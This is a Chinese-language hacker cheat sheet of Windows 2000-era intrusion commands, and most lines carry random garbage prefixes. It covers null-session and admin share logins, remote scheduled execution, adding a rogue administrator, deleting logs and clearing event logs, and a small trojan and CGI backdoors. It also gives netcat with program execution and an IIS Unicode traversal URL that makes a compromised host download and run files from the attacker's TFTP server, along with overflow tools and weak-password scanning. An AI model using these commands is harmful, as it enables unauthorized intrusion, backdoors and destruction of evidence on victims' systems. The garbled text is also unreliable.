网管和黑客都必须知道的命令
4 o(bxs" 常用的几条NET命令：
-"Q-H/qh 9 [jTs3l: （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
\*0yaSQF 'Z&;uv,l （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
iWL a> z|, nmFC%p)4 （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
,F ZT~? W `z 0" （查看远程主机时间） net time \\IP地址
:q#K} / xd-X WXc （定时启动某个程序） at \\IP地址 02:18 readme.exe
!}KqB8 ; )US:.7A[. （查看共享） net view \\IP地址
[zkikZy -n5
B)u w= （查看netbios工作组列表） nbtstat -A IP地址
}-@4vl
x$ Z5(enTy- （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
nkDy!"K |3h Y6aty （这两条把自己增加到管理员组）： net user 用户名 密码 /add
{g6Qv- 8K9$,Ii net localgroup Administrators 用户名 /add
Ucdj4[/,h ; WU<CKYG* （断开连接） net use \\IP地址\ipc$ /delete
>dzsQ^Nj Ae uX Qt 扫尾：
}(XdB:C8 v$wBxCY del C:\winnt\system32\logfiles\*.*
q<#>HjC 2F`cv1 M del C:\winnt\ssytem32\config\*.evt
=gh`J N6 N_Akmh0D del C:\winnt\system32\dtclog\*.*
v"^~&q0x C'A]i5 del C:\winnt\system32\*.log
1 " #*)MF %\$;(#h del C:\winnt\system32\*.txt
os lJC$cy' a`(a)9i del C:\winnt\*.txt
q2r UbU_A( $2~\eG=u H del C:\winnt\*.log
&PWB,BXv X" fh @. 一、netsvc.exe
[&?8,Q( c`*TPqw(B[ 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
]rN5Ao}2 `Y=WMNy netsvc /list \\IP地址
*i{Y 9f8 &w 8)* T netsvc schedule \\IP地址 /query
p&-'|'![l WQNE2Q netsvc \\IP地址 schedule /start
Mwp$ 4*.K'(S5fx 二、OpenTelnet.exe
eP.Vd7ky NS)}6OI3~" 远程启动主机的Telnet服务，并绑定端口到7878，例如：
U$dh 1; gk[{2HgN OpenTelnet \\IP地址 用户名 密码 1 7878
VdSv <"D=6jqZ 然后就可以telnet到主机的7878端口，进入DOS方式下：
P^`duZ{T a VL=K telnet IP地址 7878
z+ a%5J '})0!g<Y 三、winshell.exe
hw N?/5 xM[Vc
一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
6r: ?;j~l vIl+#9L0 p Path （查看winshell主程序的路径信息）
so$(_W3E, 1 ?* b reBoot （重新启动机器）
5}$b 0<em~ ;Vik5)D2D d shutDown （关闭机器）
VQ5nq'{v 73#x| lY s Shell （执行后你就会看到可爱的“C:\>”）
38DT2<qC !+)AeDc:j x eXit （退出本次登录会话，此命令并不终止winshell的运行）
z@Q@^
&0Mr G$0c '9d*( CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
'J&f%kx" v[plT2"s 四、3389登陆器，GUI方式登录远程主机的
:0)3K7Q [[d(jV=* 五、elsave.exe
~_IHaw$hg RB* J= 事件日志清除工具
mkh"Kb*{ ?{w3|Ef& elsave -s \\IP地址 -l "application" -C
h_1 T,f ( 8}X 5o]Mv elsave -s \\IP地址 -l "system" -C
uXDq~`S Ghl'nqPlm elsave -s \\IP地址 -l "security" -C
6
5y +Z :1XtvH 执行后成功清除应用程序日志，系统日志，安全日志
/xGmg`g<# ~c)~015` 六、hbulot.exe
@_:]J1 jw7 "8^5>EJWv 开启win2kserver和winxp的3389服务
u]u[(K5F o&AM2U/? hbulot [/r]
5zFR7/p{ \I"Z2N>^z 使用/r表示安装完成后自动重起目标使设置生效。
]?x:
Qm'yo \0lnxLA 七、nc.exe(netcat.exe)
Ev7J+TmXM mWR4|1( 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
o9xlu.QL{c w.,Q1\*rPp 想要连接到某处: nc [-options] hostname port[s] [ports] ...
+aF}oA&X[ oAWzYu(v 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
7\*FEjRM] OO?]qZa1 参数:
MX4]Vpv b@3 _L4~ -e prog 程序重定向，一旦连接，就执行 [危险!!]
.q&'&~!_ !RyO\>:q -g gateway source-routing hop point[s], up to 8
n,$IfC" [=B$5%A -G num source-routing pointer: 4, 8, 12, ...
lWBb4 !l pV4Whq$ -h 帮助信息
2I*;A5$N1 fDG0BNLY -i secs 延时的间隔
|6=p{ y x I >A6 -l 监听模式，用于入站连接
HB
Iip? l;y7]DO -n 指定数字的IP地址，不能用hostname
z1^gDjkZ 8
k3S -o file 记录16进制的传输
btdb%Q* K\XH4kic -p port 本地端口号
*@d&5 E kGQ(fZ1| -r 任意指定本地及远程端口
#2r}?hP/m GA7}K:LP'k -s addr 本地源地址
Y0 D}g3` aK`@6F,]j -u UDP模式
a tXS-bg* cZ)}LX -v 详细输出——用两个-v可得到更详细的内容
DW)2 m; 22f`LoM -w secs timeout的时间
b ~nAPY6 \:'%9 x -z 将输入输出关掉——用于扫描时
dCj,b$ 八、TFTPD32.EXE
uV 7BK+[O j"AU z )x 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
r}uz7}z %" z25m_[p2 http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
wy wQ<n Vp >|hj po 然后可以直接令文件运行：
G7N |
:YK 1 "pw http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
t |~YEQ o.q/O)'V u 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
4)1s M= u +la2n(CAK 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
pv&y91
B<C* 一、一 Xscan命令行运行参数说明：
KiJT!moB K_K5'2dE 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
dnj}AVfQx hs}8xl 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
`'V4PUe EvOJ~'2 Y% xscan -file <主机列表文件名> <检测项目> [其他选项]
J!:SPQ eds26( 其中<检测项目> 含义如下:
#> j.$2G> |j 6OM{@ -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
B" 3dQwQ tU_y 6 -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
irN6g #B?
<!pY$ -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
P;k0W>~k z )HD`Ho -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
h,Q3oy\s1 QR1{ w'c -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
d> {nQF;c qL,tYJ<m% [其他选项] 含义如下:
wC5ee:u C% 1UKg=A -q -v: 显示详细扫描进度
C `5 OK\A</8r -p: 跳过Ping不通的主机
w:
>5=mfk Y[L-7^o@y -o: 跳过没有检测到开放端口的主机
q7"7U=W0 =2@B& -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
